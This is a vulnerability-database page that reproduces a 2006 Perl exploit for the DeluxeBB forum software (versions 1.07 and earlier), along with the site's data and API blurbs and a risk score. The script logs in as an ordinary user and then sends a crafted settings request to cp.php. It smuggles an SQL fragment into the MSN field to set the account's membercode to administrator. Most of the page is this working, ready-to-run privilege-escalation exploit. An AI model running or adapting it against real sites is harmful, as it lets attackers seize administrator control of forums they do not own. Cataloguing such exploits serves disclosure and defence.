Lucene search
K

DeluxeBB <= 1.07 (cp.php) Create Admin Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

DeluxeBB <= 1.07 Admin Exploi

Code

                                                #!/usr/bin/perl
# DeluxeBB &#60;= 1.07 Create Admin Exploit
#
## www.h4ckerz.com / www.hackerz.ir / www.aria-security.net
# ./2006-6-25
### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net

use IO::Socket; 
use LWP::UserAgent;
use HTTP::Cookies;


 $host = $ARGV[0];
 $uname = $ARGV[1];
 $passwd = $ARGV[2];
 $url = &#34;http://&#34;.$host;
 
 print q(
 ###########################################################
 #          DeluxeBB &#60;= 1.07 Create Admin Exploit          # 
 #           www.hackerz.ir - www.h4ckerz.com              #
 ################### Coded By Hessam-x #####################

);


 
 if (@ARGV &#60; 3) {
 print &#34; #  usage : hx.pl [host&path] [uname] [pass]\n&#34;; 
 print &#34; #  E.g : hx.pl www.milw0rm.com/deluxebb/ str0ke 123456\n&#34;; 
  exit();
 }
 
  
    print &#34; [~] User/Password : $uname/$passwd \n&#34;;
    print &#34; [~] Host : $host \n&#34;;
    print &#34; [~] Login ... &#34;;



 # Login In DeluxeBB &#60;= 1.07 Create Admin Exploit
 
 $xpl = LWP::UserAgent-&#62;new() or die;
 $cookie_jar = HTTP::Cookies-&#62;new();

 $xpl-&#62;cookie_jar( $cookie_jar );
 $res = $xpl-&#62;post($url.&#39;misc.php&#39;,
 Content =&#62; [
 &#34;sub&#34; =&#62; &#34;login&#34;,
 &#34;name&#34; =&#62; &#34;$uname&#34;,
 &#34;password&#34; =&#62; &#34;$passwd&#34;,
 &#34;submit&#34; =&#62; &#34;Log-in&#34;,
 &#34;redirect&#34; =&#62; &#34;&#34;,
 &#34;expiry&#34; =&#62; &#34;990090909&#34;,
 ],);
 
  if($cookie_jar-&#62;as_string =~ /memberpw=(.*?);/) { 
  print &#34;successfully .\n&#34;;
  } else { 
  print &#34;UNsuccessfully !\n&#34;;
  print &#34; [-] Can not Login In $host !\n&#34;; 
  print $cookie_jar-&#62;as_string;
  exit(); 
  }

  # Creat Admin :)

$req = $xpl-&#62;get($url.&#39;cp.php?sub=settings&[email protected]&xhideemail=0&xmsn=h4x0r\&#39;,membercode=\&#39;5&xicq=&xaim=&xyim=&xlocation=&xsite=&languagex=English&skinx=default&xthetimeoffset=0&xthedateformat=d.m.y&xthetimeformat=12&invisiblebrowse=0&markposts=15&submit=Update&#39;);
$tst = $xpl-&#62;get($url.&#39;index.php&#39;);
if ($tst-&#62;as_string =~ /Admin Cp/) { 
print &#34; [+] You Are Admin Now !!&#34;;
} else {
    print &#34; [-] Exploit Failed !&#34;;
    }

# milw0rm.com [2006-06-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
18